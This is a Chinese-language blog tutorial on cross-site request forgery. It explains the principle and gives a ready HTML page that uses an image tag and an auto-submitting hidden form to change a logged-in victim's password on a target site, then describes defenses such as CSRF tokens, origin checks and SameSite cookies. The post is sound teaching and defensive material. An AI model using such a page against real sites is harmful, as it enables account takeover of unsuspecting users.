当前位置: 首页 > news >正文

网络安全:发起一次CSRF攻击!

一、如何发起一次CSRF攻击

原理:CSRF 的本质实际上是利用了 Cookie 会自动在请求中携带的特性,通过伪造请求来执行恶意操作。

1、目标网站信息:

接口地址:https://victim.com/change-password
请求类型:get/post
接受参数:password

2、编写一个网页

<!DOCTYPE html>
<html><body><!-- GET类型的CSRF --><img src="https://victim.com/change-password?password=vme50"><!-- POST类型的CSRF --><form action="https://victim.com/change-password" method=POST><input type="hidden" name="password" value="vme50" /></form><script> document.forms[0].submit(); </script> </body>
</html>

3、诱导用户打开我们的网页

用户在已经登录了https://victim.com这个网站的情况下打开我们的网站,代码会自动发起网络请求,将受害者的账号密码修改为我们设置的值

二、防护策略

1、使用 CSRF Token(推荐):

在每个表单提交或敏感操作中包含一个随机生成的 CSRF Token,并将其与用户的会话关联起来。
服务器在接收到请求时验证 CSRF Token 的有效性,如果不匹配,则拒绝请求。
这样可以防止攻击者伪造请求,因为攻击者无法获取有效的 CSRF Token。

2、同源检测:

① 验证请求头:在服务器端验证请求头中的 Referer 字段或 Origin 字段,确保请求来自合法的源
② 验证域名:在服务器端对请求进行同源检测,只接受来自同一域名下的请求
③ 对在本域发起的攻击无效

3、设置 SameSite Cookie 属性:

将敏感的 Cookie 设置为 SameSite 属性为 Strict 或 Lax,限制其在跨站点请求中的发送,从而减少 CSRF 攻击的风险。

4、二次确认

① 验证码:对于敏感操作,可以要求用户输入验证码进行验证,以确保请求是由真实用户发起的

http://www.lryc.cn/news/185160.html

相关文章:

  • java上传文件到指定服务器
  • 揭秘 Go 中的 new() 和 make() 函数
  • 【Spring Cloud】深入探索统一网关 Gateway 的搭建,断言工厂,过滤器工厂,全局过滤器以及跨域问题
  • 计算机竞赛 题目:基于卷积神经网络的手写字符识别 - 深度学习
  • 关于flink重新提交任务,重复消费kafka的坑
  • Win11右键恢复Win10老版本
  • ur机械臂30003端口socket通信踩坑(double类型数据怎么解析)
  • 代理IP与Socks5代理的技术奇妙之旅
  • 自动化测试定位不到元素?可能是 frame 在搞鬼
  • uni-app 开发中,监听 input 键盘事件获取不到按下按键值怎么办?
  • 【juc】countdownlatch实现并发网络请求
  • 在供应链管理中,如何做好库存分析?库存分析有哪些监控指标?
  • 黑豹程序员-架构师学习路线图-百科:Database数据库
  • 你相信光吗?黑灯工厂重新相信“光”
  • Ubuntu 20.04使用源码安装nginx 1.14.0
  • springboot框架拦截器中HttpServletRequest 请求如何区分是图片上传流还是普通的字符流?
  • 简单聊聊 TCP 协议
  • 钡铼BL124PN:简单快速转换Profinet到Ethernet/IP
  • 【golang】go 空结构体 详解 空结构体内容占用及大小
  • 身为产品经理该如何向客户推广API商品数据接口
  • 【数据结构】460. LFU 缓存
  • 文字转语音播报模块(一):阿里云nls服务使用示例
  • Vscode配置C#编程环境(win10)
  • python:xlrd 读取 Excel文件,显示在 tkinterTable 表格中
  • 深度学习——深度学习计算一
  • yolov5及yolov7实战之剪枝
  • 力扣第257题 二叉树的所有路径 c++ 树 深度优先搜索 字符串 回溯 二叉树
  • 保研之旅·终
  • 达梦数据库 视图 错误 [22003]: 数据溢出
  • 【文献阅读】【NMI 2022】LocalTransform :基于广义模板的有机反应性准确预测图神经网络